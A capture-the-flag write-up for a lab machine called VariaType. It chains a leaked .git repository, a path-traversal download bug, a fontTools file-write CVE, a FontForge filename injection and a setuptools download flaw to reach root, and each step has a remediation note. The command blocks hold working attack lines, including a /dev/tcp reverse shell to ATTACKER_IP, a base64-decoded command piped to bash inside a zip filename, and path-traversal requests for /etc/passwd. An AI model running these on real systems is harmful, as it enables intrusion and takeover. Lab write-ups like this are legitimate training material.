VariaType
Summary
I mapped variatype's web surface to two virtual hosts and found an exposed .git directory on the PHP validation portal whose commit history (not the working tree) contained a live dashboard password. That access, combined with a filter-bypass path-traversal bug in a file-download endpoint, exposed the backend Flask font-tooling application's source. A critical file-write vulnerability in the bundled fontTools library (CVE-2025-66034) was then abused through the font-generation feature to drop a PHP webshell and gain code execution as www-data.
From there, a font-processing pipeline that fed uploaded archives to FontForge as user steve via a root cron job was abused through a filename-based command injection (CVE-2024-25082) to pivot to steve's account, exposing user.txt. Finally, a sudo rule letting steve run a plugin-installer script as root was abused via an unpatched setuptools download primitive (CVE-2025-47273) that trusts a remote server's declared filename, allowing me to overwrite root's SSH authorized_keys and log in as root for full system compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 3
nmap -sC -sV $TARGETecho "$TARGET variatype.htb portal.variatype.htb" | sudo tee -a /etc/hostsgobuster vhost -u http://variatype.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t 40Exact commands 2
git-dumper http://portal.variatype.htb/.git/ portal_srcgit -C portal_src log -pFixRemove exposed .git directories from production web roots and rotate leaked credentialsCritical
location ~ /\.git { deny all; } in nginx) and exclude .git from deployment artifacts entirely. Rotate any credential that ever appeared in the repository history, and use a secrets scanner (gitleaks/trufflehog) in CI to catch future commits before they land.Exact commands 2
curl -sSk 'http://portal.variatype.htb/download.php?f=....//....//....//....//etc/passwd'curl -sSk 'http://portal.variatype.htb/download.php?f=....//....//....//....//opt/variatype/app.py' -o app.pyFixFix the single-pass path-traversal filter in the file download endpointHigh
Exact commands 3
curl -sSk http://portal.variatype.htb/tools/variable-font-generator/process -F 'designspace=@malicious.designspace' -F 'font=@DejaVuSans.ttf'curl -sSk http://portal.variatype.htb/0xdf.php --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/$ATTACKER_IP/443 0>&1"'idFixUpgrade fontTools and validate font-build output pathsCritical
Exact commands 5
python3 -c "import zipfile; zipfile.ZipFile('sploit.zip','w',zipfile.ZIP_DEFLATED).write('DejaVuSans.ttf', arcname='$(echo <BASE64_REVSHELL>|base64 -d|bash).ttf')"cp sploit.zip /var/www/portal.variatype.htb/public/files/nc -lvnp 4444ssh-keygen -q -t ed25519 -N '' -f /tmp/stevekeyssh -i /tmp/stevekey -o StrictHostKeyChecking=no steve@$TARGET 'cat /home/steve/user.txt'FixPatch FontForge and sanitize archive contents before automated processingCritical
Exact commands 4
ssh -i /tmp/stevekey steve@$TARGET 'sudo -l'python3 malicious_dispo_server.pyssh -i /tmp/stevekey steve@$TARGET "sudo /usr/bin/python3 /opt/font-tools/install_validator.py http://$ATTACKER_IP:18081/x"ssh -i /tmp/stevekey root@$TARGET 'id; cat /root/root.txt'FixPatch setuptools and constrain the sudo-permitted installer scriptCritical
Attack patterns used
The transferable techniques behind this compromise.
Cron Job AbuseLinux · Privilege EscalationT1053.003
What it is
Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.
Why it works
Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http nginx 1.22.1 |